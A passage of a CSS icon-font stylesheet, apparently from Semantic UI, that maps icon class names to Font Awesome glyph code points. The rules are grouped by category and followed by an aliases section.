\"\\f0c0\";\n}\n\ni.icon.doctor:before {\n  content: \"\\f0f0\";\n}\n\ni.icon.child:before {\n  content: \"\\f1ae\";\n}\n\ni.icon.user:before {\n  content: \"\\f007\";\n}\n\ni.icon.handicap:before {\n  content: \"\\f193\";\n}\n\ni.icon.student:before {\n  content: \"\\f19d\";\n}\n\ni.icon.spy:before {\n  content: \"\\f21b\";\n}\n\n/* Gender & Sexuality */\n\ni.icon.female:before {\n  content: \"\\f182\";\n}\n\ni.icon.male:before {\n  content: \"\\f183\";\n}\n\ni.icon.woman:before {\n  content: \"\\f221\";\n}\n\ni.icon.man:before {\n  content: \"\\f222\";\n}\n\ni.icon.non.binary.transgender:before {\n  content: \"\\f223\";\n}\n\ni.icon.intergender:before {\n  content: \"\\f224\";\n}\n\ni.icon.transgender:before {\n  content: \"\\f225\";\n}\n\ni.icon.lesbian:before {\n  content: \"\\f226\";\n}\n\ni.icon.gay:before {\n  content: \"\\f227\";\n}\n\ni.icon.heterosexual:before {\n  content: \"\\f228\";\n}\n\ni.icon.other.gender:before {\n  content: \"\\f229\";\n}\n\ni.icon.other.gender.vertical:before {\n  content: \"\\f22a\";\n}\n\ni.icon.other.gender.horizontal:before {\n  content: \"\\f22b\";\n}\n\ni.icon.neuter:before {\n  content: \"\\f22c\";\n}\n\n/* View Adjustment */\n\ni.icon.grid.layout:before {\n  content: \"\\f00a\";\n}\n\ni.icon.list.layout:before {\n  content: \"\\f00b\";\n}\n\ni.icon.block.layout:before {\n  content: \"\\f009\";\n}\n\ni.icon.zoom:before {\n  content: \"\\f00e\";\n}\n\ni.icon.zoom.out:before {\n  content: \"\\f010\";\n}\n\ni.icon.resize.vertical:before {\n  content: \"\\f07d\";\n}\n\ni.icon.resize.horizontal:before {\n  content: \"\\f07e\";\n}\n\ni.icon.maximize:before {\n  content: \"\\f0b2\";\n}\n\ni.icon.crop:before {\n  content: \"\\f125\";\n}\n\n/* Literal Objects */\n\ni.icon.cocktail:before {\n  content: \"\\f000\";\n}\n\ni.icon.road:before {\n  content: \"\\f018\";\n}\n\ni.icon.flag:before {\n  content: \"\\f024\";\n}\n\ni.icon.book:before {\n  content: \"\\f02d\";\n}\n\ni.icon.gift:before {\n  content: \"\\f06b\";\n}\n\ni.icon.leaf:before {\n  content: \"\\f06c\";\n}\n\ni.icon.fire:before {\n  content: \"\\f06d\";\n}\n\ni.icon.plane:before {\n  content: \"\\f072\";\n}\n\ni.icon.magnet:before {\n  content: \"\\f076\";\n}\n\ni.icon.legal:before {\n  content: \"\\f0e3\";\n}\n\ni.icon.lemon:before {\n  content: \"\\f094\";\n}\n\ni.icon.world:before {\n  content: \"\\f0ac\";\n}\n\ni.icon.travel:before {\n  content: \"\\f0b1\";\n}\n\ni.icon.shipping:before {\n  content: \"\\f0d1\";\n}\n\ni.icon.money:before {\n  content: \"\\f0d6\";\n}\n\ni.icon.lightning:before {\n  content: \"\\f0e7\";\n}\n\ni.icon.rain:before {\n  content: \"\\f0e9\";\n}\n\ni.icon.treatment:before {\n  content: \"\\f0f1\";\n}\n\ni.icon.suitcase:before {\n  content: \"\\f0f2\";\n}\n\ni.icon.bar:before {\n  content: \"\\f0fc\";\n}\n\ni.icon.flag.outline:before {\n  content: \"\\f11d\";\n}\n\ni.icon.flag.checkered:before {\n  content: \"\\f11e\";\n}\n\ni.icon.puzzle:before {\n  content: \"\\f12e\";\n}\n\ni.icon.fire.extinguisher:before {\n  content: \"\\f134\";\n}\n\ni.icon.rocket:before {\n  content: \"\\f135\";\n}\n\ni.icon.anchor:before {\n  content: \"\\f13d\";\n}\n\ni.icon.bullseye:before {\n  content: \"\\f140\";\n}\n\ni.icon.sun:before {\n  content: \"\\f185\";\n}\n\ni.icon.moon:before {\n  content: \"\\f186\";\n}\n\ni.icon.fax:before {\n  content: \"\\f1ac\";\n}\n\ni.icon.life.ring:before {\n  content: \"\\f1cd\";\n}\n\ni.icon.bomb:before {\n  content: \"\\f1e2\";\n}\n\ni.icon.soccer:before {\n  content: \"\\f1e3\";\n}\n\ni.icon.calculator:before {\n  content: \"\\f1ec\";\n}\n\ni.icon.diamond:before {\n  content: \"\\f219\";\n}\n\n/* Shapes */\n\ni.icon.crosshairs:before {\n  content: \"\\f05b\";\n}\n\ni.icon.asterisk:before {\n  content: \"\\f069\";\n}\n\ni.icon.certificate:before {\n  content: \"\\f0a3\";\n}\n\ni.icon.circle:before {\n  content: \"\\f111\";\n}\n\ni.icon.quote.left:before {\n  content: \"\\f10d\";\n}\n\ni.icon.quote.right:before {\n  content: \"\\f10e\";\n}\n\ni.icon.ellipsis.horizontal:before {\n  content: \"\\f141\";\n}\n\ni.icon.ellipsis.vertical:before {\n  content: \"\\f142\";\n}\n\ni.icon.cube:before {\n  content: \"\\f1b2\";\n}\n\ni.icon.cubes:before {\n  content: \"\\f1b3\";\n}\n\ni.icon.circle.notched:before {\n  content: \"\\f1ce\";\n}\n\ni.icon.circle.thin:before {\n  content: \"\\f1db\";\n}\n\n/* Item Selection */\n\ni.icon.checkmark:before {\n  content: \"\\f00c\";\n}\n\ni.icon.remove:before {\n  content: \"\\f00d\";\n}\n\ni.icon.checkmark.box:before {\n  content: \"\\f046\";\n}\n\ni.icon.move:before {\n  content: \"\\f047\";\n}\n\ni.icon.add.circle:before {\n  content: \"\\f055\";\n}\n\ni.icon.minus.circle:before {\n  content: \"\\f056\";\n}\n\ni.icon.remove.circle:before {\n  content: \"\\f057\";\n}\n\ni.icon.check.circle:before {\n  content: \"\\f058\";\n}\n\ni.icon.remove.circle.outline:before {\n  content: \"\\f05c\";\n}\n\ni.icon.check.circle.outline:before {\n  content: \"\\f05d\";\n}\n\ni.icon.plus:before {\n  content: \"\\f067\";\n}\n\ni.icon.minus:before {\n  content: \"\\f068\";\n}\n\ni.icon.add.square:before {\n  content: \"\\f0fe\";\n}\n\ni.icon.radio:before {\n  content: \"\\f10c\";\n}\n\ni.icon.selected.radio:before {\n  content: \"\\f192\";\n}\n\ni.icon.minus.square:before {\n  content: \"\\f146\";\n}\n\ni.icon.minus.square.outline:before {\n  content: \"\\f147\";\n}\n\ni.icon.check.square:before {\n  content: \"\\f14a\";\n}\n\ni.icon.plus.square.outline:before {\n  content: \"\\f196\";\n}\n\ni.icon.toggle.off:before {\n  content: \"\\f204\";\n}\n\ni.icon.toggle.on:before {\n  content: \"\\f205\";\n}\n\n/* Media */\n\ni.icon.film:before {\n  content: \"\\f008\";\n}\n\ni.icon.sound:before {\n  content: \"\\f025\";\n}\n\ni.icon.photo:before {\n  content: \"\\f030\";\n}\n\ni.icon.bar.chart:before {\n  content: \"\\f080\";\n}\n\ni.icon.camera.retro:before {\n  content: \"\\f083\";\n}\n\ni.icon.newspaper:before {\n  content: \"\\f1ea\";\n}\n\ni.icon.area.chart:before {\n  content: \"\\f1fe\";\n}\n\ni.icon.pie.chart:before {\n  content: \"\\f200\";\n}\n\ni.icon.line.chart:before {\n  content: \"\\f201\";\n}\n\n/* Pointers */\n\ni.icon.arrow.circle.outline.down:before {\n  content: \"\\f01a\";\n}\n\ni.icon.arrow.circle.outline.up:before {\n  content: \"\\f01b\";\n}\n\ni.icon.chevron.left:before {\n  content: \"\\f053\";\n}\n\ni.icon.chevron.right:before {\n  content: \"\\f054\";\n}\n\ni.icon.arrow.left:before {\n  content: \"\\f060\";\n}\n\ni.icon.arrow.right:before {\n  content: \"\\f061\";\n}\n\ni.icon.arrow.up:before {\n  content: \"\\f062\";\n}\n\ni.icon.arrow.down:before {\n  content: \"\\f063\";\n}\n\ni.icon.chevron.up:before {\n  content: \"\\f077\";\n}\n\ni.icon.chevron.down:before {\n  content: \"\\f078\";\n}\n\ni.icon.pointing.right:before {\n  content: \"\\f0a4\";\n}\n\ni.icon.pointing.left:before {\n  content: \"\\f0a5\";\n}\n\ni.icon.pointing.up:before {\n  content: \"\\f0a6\";\n}\n\ni.icon.pointing.down:before {\n  content: \"\\f0a7\";\n}\n\ni.icon.arrow.circle.left:before {\n  content: \"\\f0a8\";\n}\n\ni.icon.arrow.circle.right:before {\n  content: \"\\f0a9\";\n}\n\ni.icon.arrow.circle.up:before {\n  content: \"\\f0aa\";\n}\n\ni.icon.arrow.circle.down:before {\n  content: \"\\f0ab\";\n}\n\ni.icon.caret.down:before {\n  content: \"\\f0d7\";\n}\n\ni.icon.caret.up:before {\n  content: \"\\f0d8\";\n}\n\ni.icon.caret.left:before {\n  content: \"\\f0d9\";\n}\n\ni.icon.caret.right:before {\n  content: \"\\f0da\";\n}\n\ni.icon.angle.double.left:before {\n  content: \"\\f100\";\n}\n\ni.icon.angle.double.right:before {\n  content: \"\\f101\";\n}\n\ni.icon.angle.double.up:before {\n  content: \"\\f102\";\n}\n\ni.icon.angle.double.down:before {\n  content: \"\\f103\";\n}\n\ni.icon.angle.left:before {\n  content: \"\\f104\";\n}\n\ni.icon.angle.right:before {\n  content: \"\\f105\";\n}\n\ni.icon.angle.up:before {\n  content: \"\\f106\";\n}\n\ni.icon.angle.down:before {\n  content: \"\\f107\";\n}\n\ni.icon.chevron.circle.left:before {\n  content: \"\\f137\";\n}\n\ni.icon.chevron.circle.right:before {\n  content: \"\\f138\";\n}\n\ni.icon.chevron.circle.up:before {\n  content: \"\\f139\";\n}\n\ni.icon.chevron.circle.down:before {\n  content: \"\\f13a\";\n}\n\ni.icon.toggle.down:before {\n  content: \"\\f150\";\n}\n\ni.icon.toggle.up:before {\n  content: \"\\f151\";\n}\n\ni.icon.toggle.right:before {\n  content: \"\\f152\";\n}\n\ni.icon.long.arrow.down:before {\n  content: \"\\f175\";\n}\n\ni.icon.long.arrow.up:before {\n  content: \"\\f176\";\n}\n\ni.icon.long.arrow.left:before {\n  content: \"\\f177\";\n}\n\ni.icon.long.arrow.right:before {\n  content: \"\\f178\";\n}\n\ni.icon.arrow.circle.outline.right:before {\n  content: \"\\f18e\";\n}\n\ni.icon.arrow.circle.outline.left:before {\n  content: \"\\f190\";\n}\n\ni.icon.toggle.left:before {\n  content: \"\\f191\";\n}\n\n/* Computer */\n\ni.icon.power:before {\n  content: \"\\f011\";\n}\n\ni.icon.trash:before {\n  content: \"\\f1f8\";\n}\n\ni.icon.trash.outline:before {\n  content: \"\\f014\";\n}\n\ni.icon.disk.outline:before {\n  content: \"\\f0a0\";\n}\n\ni.icon.desktop:before {\n  content: \"\\f108\";\n}\n\ni.icon.laptop:before {\n  content: \"\\f109\";\n}\n\ni.icon.tablet:before {\n  content: \"\\f10a\";\n}\n\ni.icon.mobile:before {\n  content: \"\\f10b\";\n}\n\ni.icon.game:before {\n  content: \"\\f11b\";\n}\n\ni.icon.keyboard:before {\n  content: \"\\f11c\";\n}\n\ni.icon.plug:before {\n  content: \"\\f1e6\";\n}\n\n/* File System */\n\ni.icon.folder:before {\n  content: \"\\f07b\";\n}\n\ni.icon.folder.open:before {\n  content: \"\\f07c\";\n}\n\ni.icon.level.up:before {\n  content: \"\\f148\";\n}\n\ni.icon.level.down:before {\n  content: \"\\f149\";\n}\n\ni.icon.file:before {\n  content: \"\\f15b\";\n}\n\ni.icon.file.outline:before {\n  content: \"\\f016\";\n}\n\ni.icon.file.text:before {\n  content: \"\\f15c\";\n}\n\ni.icon.file.text.outline:before {\n  content: \"\\f0f6\";\n}\n\ni.icon.folder.outline:before {\n  content: \"\\f114\";\n}\n\ni.icon.folder.open.outline:before {\n  content: \"\\f115\";\n}\n\ni.icon.file.pdf.outline:before {\n  content: \"\\f1c1\";\n}\n\ni.icon.file.word.outline:before {\n  content: \"\\f1c2\";\n}\n\ni.icon.file.excel.outline:before {\n  content: \"\\f1c3\";\n}\n\ni.icon.file.powerpoint.outline:before {\n  content: \"\\f1c4\";\n}\n\ni.icon.file.image.outline:before {\n  content: \"\\f1c5\";\n}\n\ni.icon.file.archive.outline:before {\n  content: \"\\f1c6\";\n}\n\ni.icon.file.audio.outline:before {\n  content: \"\\f1c7\";\n}\n\ni.icon.file.video.outline:before {\n  content: \"\\f1c8\";\n}\n\ni.icon.file.code.outline:before {\n  content: \"\\f1c9\";\n}\n\n/* Technologies */\n\ni.icon.barcode:before {\n  content: \"\\f02a\";\n}\n\ni.icon.qrcode:before {\n  content: \"\\f029\";\n}\n\ni.icon.fork:before {\n  content: \"\\f126\";\n}\n\ni.icon.html5:before {\n  content: \"\\f13b\";\n}\n\ni.icon.css3:before {\n  content: \"\\f13c\";\n}\n\ni.icon.rss:before {\n  content: \"\\f09e\";\n}\n\ni.icon.rss.square:before {\n  content: \"\\f143\";\n}\n\ni.icon.openid:before {\n  content: \"\\f19b\";\n}\n\ni.icon.database:before {\n  content: \"\\f1c0\";\n}\n\ni.icon.server:before {\n  content: \"\\f233\";\n}\n\n/* Rating */\n\ni.icon.heart:before {\n  content: \"\\f004\";\n}\n\ni.icon.star:before {\n  content: \"\\f005\";\n}\n\ni.icon.empty.star:before {\n  content: \"\\f006\";\n}\n\ni.icon.thumbs.outline.up:before {\n  content: \"\\f087\";\n}\n\ni.icon.thumbs.outline.down:before {\n  content: \"\\f088\";\n}\n\ni.icon.star.half:before {\n  content: \"\\f089\";\n}\n\ni.icon.empty.heart:before {\n  content: \"\\f08a\";\n}\n\ni.icon.smile:before {\n  content: \"\\f118\";\n}\n\ni.icon.frown:before {\n  content: \"\\f119\";\n}\n\ni.icon.meh:before {\n  content: \"\\f11a\";\n}\n\ni.icon.star.half.empty:before {\n  content: \"\\f123\";\n}\n\ni.icon.thumbs.up:before {\n  content: \"\\f164\";\n}\n\ni.icon.thumbs.down:before {\n  content: \"\\f165\";\n}\n\n/* Audio */\n\ni.icon.music:before {\n  content: \"\\f001\";\n}\n\ni.icon.video.play.outline:before {\n  content: \"\\f01d\";\n}\n\ni.icon.volume.off:before {\n  content: \"\\f026\";\n}\n\ni.icon.volume.down:before {\n  content: \"\\f027\";\n}\n\ni.icon.volume.up:before {\n  content: \"\\f028\";\n}\n\ni.icon.record:before {\n  content: \"\\f03d\";\n}\n\ni.icon.step.backward:before {\n  content: \"\\f048\";\n}\n\ni.icon.fast.backward:before {\n  content: \"\\f049\";\n}\n\ni.icon.backward:before {\n  content: \"\\f04a\";\n}\n\ni.icon.play:before {\n  content: \"\\f04b\";\n}\n\ni.icon.pause:before {\n  content: \"\\f04c\";\n}\n\ni.icon.stop:before {\n  content: \"\\f04d\";\n}\n\ni.icon.forward:before {\n  content: \"\\f04e\";\n}\n\ni.icon.fast.forward:before {\n  content: \"\\f050\";\n}\n\ni.icon.step.forward:before {\n  content: \"\\f051\";\n}\n\ni.icon.eject:before {\n  content: \"\\f052\";\n}\n\ni.icon.unmute:before {\n  content: \"\\f130\";\n}\n\ni.icon.mute:before {\n  content: \"\\f131\";\n}\n\ni.icon.video.play:before {\n  content: \"\\f144\";\n}\n\ni.icon.closed.captioning:before {\n  content: \"\\f20a\";\n}\n\n/* Map, Locations, & Transportation */\n\ni.icon.marker:before {\n  content: \"\\f041\";\n}\n\ni.icon.coffee:before {\n  content: \"\\f0f4\";\n}\n\ni.icon.food:before {\n  content: \"\\f0f5\";\n}\n\ni.icon.building.outline:before {\n  content: \"\\f0f7\";\n}\n\ni.icon.hospital:before {\n  content: \"\\f0f8\";\n}\n\ni.icon.emergency:before {\n  content: \"\\f0f9\";\n}\n\ni.icon.first.aid:before {\n  content: \"\\f0fa\";\n}\n\ni.icon.military:before {\n  content: \"\\f0fb\";\n}\n\ni.icon.h:before {\n  content: \"\\f0fd\";\n}\n\ni.icon.location.arrow:before {\n  content: \"\\f124\";\n}\n\ni.icon.space.shuttle:before {\n  content: \"\\f197\";\n}\n\ni.icon.university:before {\n  content: \"\\f19c\";\n}\n\ni.icon.building:before {\n  content: \"\\f1ad\";\n}\n\ni.icon.paw:before {\n  content: \"\\f1b0\";\n}\n\ni.icon.spoon:before {\n  content: \"\\f1b1\";\n}\n\ni.icon.car:before {\n  content: \"\\f1b9\";\n}\n\ni.icon.taxi:before {\n  content: \"\\f1ba\";\n}\n\ni.icon.tree:before {\n  content: \"\\f1bb\";\n}\n\ni.icon.bicycle:before {\n  content: \"\\f206\";\n}\n\ni.icon.bus:before {\n  content: \"\\f207\";\n}\n\ni.icon.ship:before {\n  content: \"\\f21a\";\n}\n\ni.icon.motorcycle:before {\n  content: \"\\f21c\";\n}\n\ni.icon.street.view:before {\n  content: \"\\f21d\";\n}\n\ni.icon.hotel:before {\n  content: \"\\f236\";\n}\n\ni.icon.train:before {\n  content: \"\\f238\";\n}\n\ni.icon.subway:before {\n  content: \"\\f239\";\n}\n\n/* Tables */\n\ni.icon.table:before {\n  content: \"\\f0ce\";\n}\n\ni.icon.columns:before {\n  content: \"\\f0db\";\n}\n\ni.icon.sort:before {\n  content: \"\\f0dc\";\n}\n\ni.icon.sort.ascending:before {\n  content: \"\\f0de\";\n}\n\ni.icon.sort.descending:before {\n  content: \"\\f0dd\";\n}\n\ni.icon.sort.alphabet.ascending:before {\n  content: \"\\f15d\";\n}\n\ni.icon.sort.alphabet.descending:before {\n  content: \"\\f15e\";\n}\n\ni.icon.sort.content.ascending:before {\n  content: \"\\f160\";\n}\n\ni.icon.sort.content.descending:before {\n  content: \"\\f161\";\n}\n\ni.icon.sort.numeric.ascending:before {\n  content: \"\\f162\";\n}\n\ni.icon.sort.numeric.descending:before {\n  content: \"\\f163\";\n}\n\n/* Text Editor */\n\ni.icon.font:before {\n  content: \"\\f031\";\n}\n\ni.icon.bold:before {\n  content: \"\\f032\";\n}\n\ni.icon.italic:before {\n  content: \"\\f033\";\n}\n\ni.icon.text.height:before {\n  content: \"\\f034\";\n}\n\ni.icon.text.width:before {\n  content: \"\\f035\";\n}\n\ni.icon.align.left:before {\n  content: \"\\f036\";\n}\n\ni.icon.align.center:before {\n  content: \"\\f037\";\n}\n\ni.icon.align.right:before {\n  content: \"\\f038\";\n}\n\ni.icon.align.justify:before {\n  content: \"\\f039\";\n}\n\ni.icon.list:before {\n  content: \"\\f03a\";\n}\n\ni.icon.outdent:before {\n  content: \"\\f03b\";\n}\n\ni.icon.indent:before {\n  content: \"\\f03c\";\n}\n\ni.icon.linkify:before {\n  content: \"\\f0c1\";\n}\n\ni.icon.cut:before {\n  content: \"\\f0c4\";\n}\n\ni.icon.copy:before {\n  content: \"\\f0c5\";\n}\n\ni.icon.attach:before {\n  content: \"\\f0c6\";\n}\n\ni.icon.save:before {\n  content: \"\\f0c7\";\n}\n\ni.icon.content:before {\n  content: \"\\f0c9\";\n}\n\ni.icon.unordered.list:before {\n  content: \"\\f0ca\";\n}\n\ni.icon.ordered.list:before {\n  content: \"\\f0cb\";\n}\n\ni.icon.strikethrough:before {\n  content: \"\\f0cc\";\n}\n\ni.icon.underline:before {\n  content: \"\\f0cd\";\n}\n\ni.icon.paste:before {\n  content: \"\\f0ea\";\n}\n\ni.icon.unlink:before {\n  content: \"\\f127\";\n}\n\ni.icon.superscript:before {\n  content: \"\\f12b\";\n}\n\ni.icon.subscript:before {\n  content: \"\\f12c\";\n}\n\ni.icon.header:before {\n  content: \"\\f1dc\";\n}\n\ni.icon.paragraph:before {\n  content: \"\\f1dd\";\n}\n\n/* Currency */\n\ni.icon.euro:before {\n  content: \"\\f153\";\n}\n\ni.icon.pound:before {\n  content: \"\\f154\";\n}\n\ni.icon.dollar:before {\n  content: \"\\f155\";\n}\n\ni.icon.rupee:before {\n  content: \"\\f156\";\n}\n\ni.icon.yen:before {\n  content: \"\\f157\";\n}\n\ni.icon.ruble:before {\n  content: \"\\f158\";\n}\n\ni.icon.won:before {\n  content: \"\\f159\";\n}\n\ni.icon.lira:before {\n  content: \"\\f195\";\n}\n\ni.icon.shekel:before {\n  content: \"\\f20b\";\n}\n\n/* Payment Options */\n\ni.icon.paypal:before {\n  content: \"\\f1ed\";\n}\n\ni.icon.paypal.card:before {\n  content: \"\\f1f4\";\n}\n\ni.icon.google.wallet:before {\n  content: \"\\f1ee\";\n}\n\ni.icon.visa:before {\n  content: \"\\f1f0\";\n}\n\ni.icon.mastercard:before {\n  content: \"\\f1f1\";\n}\n\ni.icon.discover:before {\n  content: \"\\f1f2\";\n}\n\ni.icon.american.express:before {\n  content: \"\\f1f3\";\n}\n\ni.icon.stripe:before {\n  content: \"\\f1f5\";\n}\n\n/* Networks and Websites*/\n\ni.icon.twitter.square:before {\n  content: \"\\f081\";\n}\n\ni.icon.facebook.square:before {\n  content: \"\\f082\";\n}\n\ni.icon.linkedin.square:before {\n  content: \"\\f08c\";\n}\n\ni.icon.github.square:before {\n  content: \"\\f092\";\n}\n\ni.icon.twitter:before {\n  content: \"\\f099\";\n}\n\ni.icon.facebook:before {\n  content: \"\\f09a\";\n}\n\ni.icon.github:before {\n  content: \"\\f09b\";\n}\n\ni.icon.pinterest:before {\n  content: \"\\f0d2\";\n}\n\ni.icon.pinterest.square:before {\n  content: \"\\f0d3\";\n}\n\ni.icon.google.plus.square:before {\n  content: \"\\f0d4\";\n}\n\ni.icon.google.plus:before {\n  content: \"\\f0d5\";\n}\n\ni.icon.linkedin:before {\n  content: \"\\f0e1\";\n}\n\ni.icon.github.alternate:before {\n  content: \"\\f113\";\n}\n\ni.icon.maxcdn:before {\n  content: \"\\f136\";\n}\n\ni.icon.bitcoin:before {\n  content: \"\\f15a\";\n}\n\ni.icon.youtube.square:before {\n  content: \"\\f166\";\n}\n\ni.icon.youtube:before {\n  content: \"\\f167\";\n}\n\ni.icon.xing:before {\n  content: \"\\f168\";\n}\n\ni.icon.xing.square:before {\n  content: \"\\f169\";\n}\n\ni.icon.youtube.play:before {\n  content: \"\\f16a\";\n}\n\ni.icon.dropbox:before {\n  content: \"\\f16b\";\n}\n\ni.icon.stack.overflow:before {\n  content: \"\\f16c\";\n}\n\ni.icon.instagram:before {\n  content: \"\\f16d\";\n}\n\ni.icon.flickr:before {\n  content: \"\\f16e\";\n}\n\ni.icon.adn:before {\n  content: \"\\f170\";\n}\n\ni.icon.bitbucket:before {\n  content: \"\\f171\";\n}\n\ni.icon.bitbucket.square:before {\n  content: \"\\f172\";\n}\n\ni.icon.tumblr:before {\n  content: \"\\f173\";\n}\n\ni.icon.tumblr.square:before {\n  content: \"\\f174\";\n}\n\ni.icon.apple:before {\n  content: \"\\f179\";\n}\n\ni.icon.windows:before {\n  content: \"\\f17a\";\n}\n\ni.icon.android:before {\n  content: \"\\f17b\";\n}\n\ni.icon.linux:before {\n  content: \"\\f17c\";\n}\n\ni.icon.dribbble:before {\n  content: \"\\f17d\";\n}\n\ni.icon.skype:before {\n  content: \"\\f17e\";\n}\n\ni.icon.foursquare:before {\n  content: \"\\f180\";\n}\n\ni.icon.trello:before {\n  content: \"\\f181\";\n}\n\ni.icon.gittip:before {\n  content: \"\\f184\";\n}\n\ni.icon.vk:before {\n  content: \"\\f189\";\n}\n\ni.icon.weibo:before {\n  content: \"\\f18a\";\n}\n\ni.icon.renren:before {\n  content: \"\\f18b\";\n}\n\ni.icon.pagelines:before {\n  content: \"\\f18c\";\n}\n\ni.icon.stack.exchange:before {\n  content: \"\\f18d\";\n}\n\ni.icon.vimeo:before {\n  content: \"\\f194\";\n}\n\ni.icon.slack:before {\n  content: \"\\f198\";\n}\n\ni.icon.wordpress:before {\n  content: \"\\f19a\";\n}\n\ni.icon.yahoo:before {\n  content: \"\\f19e\";\n}\n\ni.icon.google:before {\n  content: \"\\f1a0\";\n}\n\ni.icon.reddit:before {\n  content: \"\\f1a1\";\n}\n\ni.icon.reddit.square:before {\n  content: \"\\f1a2\";\n}\n\ni.icon.stumbleupon.circle:before {\n  content: \"\\f1a3\";\n}\n\ni.icon.stumbleupon:before {\n  content: \"\\f1a4\";\n}\n\ni.icon.delicious:before {\n  content: \"\\f1a5\";\n}\n\ni.icon.digg:before {\n  content: \"\\f1a6\";\n}\n\ni.icon.pied.piper:before {\n  content: \"\\f1a7\";\n}\n\ni.icon.pied.piper.alternate:before {\n  content: \"\\f1a8\";\n}\n\ni.icon.drupal:before {\n  content: \"\\f1a9\";\n}\n\ni.icon.joomla:before {\n  content: \"\\f1aa\";\n}\n\ni.icon.behance:before {\n  content: \"\\f1b4\";\n}\n\ni.icon.behance.square:before {\n  content: \"\\f1b5\";\n}\n\ni.icon.steam:before {\n  content: \"\\f1b6\";\n}\n\ni.icon.steam.square:before {\n  content: \"\\f1b7\";\n}\n\ni.icon.spotify:before {\n  content: \"\\f1bc\";\n}\n\ni.icon.deviantart:before {\n  content: \"\\f1bd\";\n}\n\ni.icon.soundcloud:before {\n  content: \"\\f1be\";\n}\n\ni.icon.vine:before {\n  content: \"\\f1ca\";\n}\n\ni.icon.codepen:before {\n  content: \"\\f1cb\";\n}\n\ni.icon.jsfiddle:before {\n  content: \"\\f1cc\";\n}\n\ni.icon.rebel:before {\n  content: \"\\f1d0\";\n}\n\ni.icon.empire:before {\n  content: \"\\f1d1\";\n}\n\ni.icon.git.square:before {\n  content: \"\\f1d2\";\n}\n\ni.icon.git:before {\n  content: \"\\f1d3\";\n}\n\ni.icon.hacker.news:before {\n  content: \"\\f1d4\";\n}\n\ni.icon.tencent.weibo:before {\n  content: \"\\f1d5\";\n}\n\ni.icon.qq:before {\n  content: \"\\f1d6\";\n}\n\ni.icon.wechat:before {\n  content: \"\\f1d7\";\n}\n\ni.icon.slideshare:before {\n  content: \"\\f1e7\";\n}\n\ni.icon.twitch:before {\n  content: \"\\f1e8\";\n}\n\ni.icon.yelp:before {\n  content: \"\\f1e9\";\n}\n\ni.icon.lastfm:before {\n  content: \"\\f202\";\n}\n\ni.icon.lastfm.square:before {\n  content: \"\\f203\";\n}\n\ni.icon.ioxhost:before {\n  content: \"\\f208\";\n}\n\ni.icon.angellist:before {\n  content: \"\\f209\";\n}\n\ni.icon.meanpath:before {\n  content: \"\\f20c\";\n}\n\ni.icon.buysellads:before {\n  content: \"\\f20d\";\n}\n\ni.icon.connectdevelop:before {\n  content: \"\\f20e\";\n}\n\ni.icon.dashcube:before {\n  content: \"\\f210\";\n}\n\ni.icon.forumbee:before {\n  content: \"\\f211\";\n}\n\ni.icon.leanpub:before {\n  content: \"\\f212\";\n}\n\ni.icon.sellsy:before {\n  content: \"\\f213\";\n}\n\ni.icon.shirtsinbulk:before {\n  content: \"\\f214\";\n}\n\ni.icon.simplybuilt:before {\n  content: \"\\f215\";\n}\n\ni.icon.skyatlas:before {\n  content: \"\\f216\";\n}\n\ni.icon.whatsapp:before {\n  content: \"\\f232\";\n}\n\ni.icon.viacoin:before {\n  content: \"\\f237\";\n}\n\ni.icon.medium:before {\n  content: \"\\f23a\";\n}\n\n/*******************************\n            Aliases\n*******************************/\n\ni.icon.like:before {\n  content: \"\\f004\";\n}\n\ni.icon.favorite:before {\n  content: \"\\f005\";\n}\n\ni.icon.video:before {\n  content: \"\\f008\";\n}\n\ni.icon.check:before {\n  content: \"\\f00c\";\n}\n\ni.icon.remove:before {\n  content: \"\\f00d\";\n}\n\ni.icon.close:before {\n  content: \"\\f00d\";\n}\n\ni.icon.cancel:before {\n  content: \"\\f00d\";\n}\n\ni.icon.delete:before {\n  content: \"\\f00d\";\n}\n\ni.icon.x:before {\n  content: \"\\f00d\";\n}\n\ni.icon.user.times:before {\n  content: \"\\f235\";\n}\n\ni.icon.user.close:before {\n  content: \"\\f235\";\n}\n\ni.icon.user.cancel:before {\n  content: \"\\f235\";\n}\n\ni.icon.user.delete:before {\n  content: \"\\f235\";\n}\n\ni.icon.user.x:before {\n  content: \"\\f235\";\n}\n\ni.icon.zoom.in:before {\n  content: \"\\f00e\";\n}\n\ni.icon.magnify:before {\n  content: \"\\f00e\";\n}\n\ni.icon.shutdown:before {\n  content: \"\\f011\";\n}\n\ni.icon.clock:before {\n  content: \"\\f017\";\n}\n\ni.icon.time:before {\n  content: \"\\f017\";\n}\n\ni.icon.play.circle.outline:before {\n  content: \"\\f01d\";\n}\n\ni.icon.headphone:before {\n  content: \"\\f025\";\n}\n\ni.icon.volume.off:before {\n  content: \"\\f026\";\n}\n\ni.icon.camera:before {\n  content: \"\\f030\";\n}\n\ni.icon.video.camera:before {\n  content: \"\\f03d\";\n}\n\ni.icon.picture:before {\n  content: \"\\f03e\";\n}\n\ni.icon.pencil:before {\n  content: \"\\f040\";\n}\n\ni.icon.compose:before {\n  content: \"\\f040\";\n}\n\ni.icon.point:before {\n  content: \"\\f041\";\n}\n\ni.icon.tint:before {\n  content: \"\\f043\";\n}\n\ni.icon.signup:before {\n  content: \"\\f044\";\n}\n\ni.icon.plus.circle:before {\n  content: \"\\f055\";\n}\n\ni.icon.minus.circle:before {\n  content: \"\\f056\";\n}\n\ni.icon.dont:before {\n  content: \"\\f05e\";\n}\n\ni.icon.minimize:before {\n  content: \"\\f066\";\n}\n\ni.icon.add:before {\n  content: \"\\f067\";\n}\n\ni.icon.eye:before {\n  content: \"\\f06e\";\n}\n\ni.icon.attention:before {\n  content: \"\\f06a\";\n}\n\ni.icon.cart:before {\n  content: \"\\f07a\";\n}\n\ni.icon.shuffle:before {\n  content: \"\\f074\";\n}\n\ni.icon.talk:before {\n  content: \"\\f075\";\n}\n\ni.icon.chat:before {\n  content: \"\\f075\";\n}\n\ni.icon.shopping.cart:before {\n  content: \"\\f07a\";\n}\n\ni.icon.bar.graph:before {\n  content: \"\\f080\";\n}\n\ni.icon.area.graph:before {\n  content: \"\\f1fe\";\n}\n\ni.icon.pie.graph:before {\n  content: \"\\f200\";\n}\n\ni.icon.line.graph:before {\n  content: \"\\f201\";\n}\n\ni.icon.key:before {\n  content: \"\\f084\";\n}\n\ni.icon.privacy:before {\n  content: \"\\f084\";\n}\n\ni.icon.cogs:before {\n  content: \"\\f085\";\n}\n\ni.icon.discussions:before {\n  content: \"\\f086\";\n}\n\ni.icon.like.outline:before {\n  content: \"\\f087\";\n}\n\ni.icon.dislike.outline:before 